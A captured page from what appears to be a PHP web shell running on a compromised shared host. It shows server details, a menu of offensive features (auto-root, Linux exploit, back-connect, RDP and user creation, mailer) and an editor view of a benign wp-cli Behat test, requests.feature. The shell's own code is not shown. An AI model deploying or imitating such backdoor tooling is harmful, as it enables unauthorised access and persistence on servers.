Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
features /
[ HOME SHELL ]
Name
Size
Permission
Action
aliases.feature
15.82
KB
-rw-r--r--
bootstrap.feature
14.43
KB
-rw-r--r--
class-wp-cli.feature
570
B
-rw-r--r--
cli-bash-completion.feature
7.13
KB
-rw-r--r--
cli-cache.feature
2.12
KB
-rw-r--r--
cli-check-update.feature
10.09
KB
-rw-r--r--
cli-info.feature
1.25
KB
-rw-r--r--
cli.feature
2.52
KB
-rw-r--r--
command.feature
37.85
KB
-rw-r--r--
config.feature
18.61
KB
-rw-r--r--
context.feature
5.68
KB
-rw-r--r--
flags.feature
9.63
KB
-rw-r--r--
formatter.feature
5.73
KB
-rw-r--r--
framework.feature
11.22
KB
-rw-r--r--
help.feature
33.66
KB
-rw-r--r--
hook.feature
6.09
KB
-rw-r--r--
prompt.feature
5.14
KB
-rw-r--r--
requests.feature
3.62
KB
-rw-r--r--
runcommand.feature
10.41
KB
-rw-r--r--
runner.feature
2.6
KB
-rw-r--r--
skip-plugins.feature
3.35
KB
-rw-r--r--
skip-themes.feature
5.52
KB
-rw-r--r--
steps.feature
1.78
KB
-rw-r--r--
utils-wp.feature
22.54
KB
-rw-r--r--
utils.feature
6.71
KB
-rw-r--r--
validation.feature
1.16
KB
-rw-r--r--
wp-config.feature
1.11
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : requests.feature
Feature: Requests integration with both v1 and v2 # This test downgrades to WordPress 5.8, but the SQLite plugin requires 6.0+ # WP-CLI 2.7 causes deprecation warnings on PHP 8.2 @require-mysql @less-than-php-8.2 Scenario: Composer stack with Requests v1 Given an empty directory And a composer.json file: """ { "name": "wp-cli/composer-test", "type": "project", "require": { "wp-cli/wp-cli": "2.7.0", "wp-cli/core-command": "^2", "wp-cli/eval-command": "^2" } } """ # Note: Composer outputs messages to stderr. And I run `composer install --no-interaction 2>&1` When I run `vendor/bin/wp cli version` Then STDOUT should contain: """ WP-CLI 2.7.0 """ Given a WP installation And I run `vendor/bin/wp core update --version=5.8 --force` And I run `rm -r wp-content/themes/*` When I run `vendor/bin/wp core version` Then STDOUT should contain: """ 5.8 """ When I run `vendor/bin/wp eval 'var_dump( \WP_CLI\Utils\http_request( "GET", "https://example.com/" ) );'` Then STDOUT should contain: """ object(Requests_Response) """ And STDOUT should contain: """ HTTP/1.1 200 OK """ And STDERR should be empty # This test downgrades to WordPress 5.8, but the SQLite plugin requires 6.0+ @require-mysql Scenario: Current version with WordPress-bundled Requests v1 Given a WP installation And I run `wp core update --version=5.8 --force` And I run `rm -r wp-content/themes/*` When I run `wp core version` Then STDOUT should contain: """ 5.8 """ When I run `wp eval 'var_dump( \WP_CLI\Utils\http_request( "GET", "https://example.com/" ) );'` Then STDOUT should contain: """ object(Requests_Response) """ And STDOUT should contain: """ HTTP/1.1 200 OK """ And STDERR should be empty When I run `wp plugin install debug-bar` Then STDOUT should contain: """ Success: Installed 1 of 1 plugins. """ Scenario: Current version with WordPress-bundled Requests v2 Given a WP installation # Switch themes because twentytwentyfive requires a version newer than 6.2 # and it would otherwise cause a fatal error further down. And I try `wp theme install twentyten` And I try `wp theme activate twentyten` And I run `wp core update --version=6.2 --force` When I run `wp core version` Then STDOUT should contain: """ 6.2 """ When I run `wp eval 'var_dump( \WP_CLI\Utils\http_request( "GET", "https://example.com/" ) );'` Then STDOUT should contain: """ object(WpOrg\Requests\Response) """ And STDOUT should contain: """ HTTP/1.1 200 OK """ And STDERR should be empty When I run `wp plugin install debug-bar` Then STDOUT should contain: """ Success: Installed 1 of 1 plugins. """ # This test downgrades to WordPress 5.8, but the SQLite plugin requires 6.0+ @require-mysql Scenario: Current version with WordPress-bundled Request v1 and an alias Given a WP installation in 'foo' And I run `wp --path=foo core download --version=5.8 --force` And a wp-cli.yml file: """ @foo: path: foo """ When I try `WP_CLI_RUNTIME_ALIAS='{"@foo":{"path":"foo"}}' wp @foo option get home --debug` Then STDERR should contain: """ Setting RequestsLibrary::$version to v1 """ And STDERR should contain: """ Setting RequestsLibrary::$source to wp-core """
Close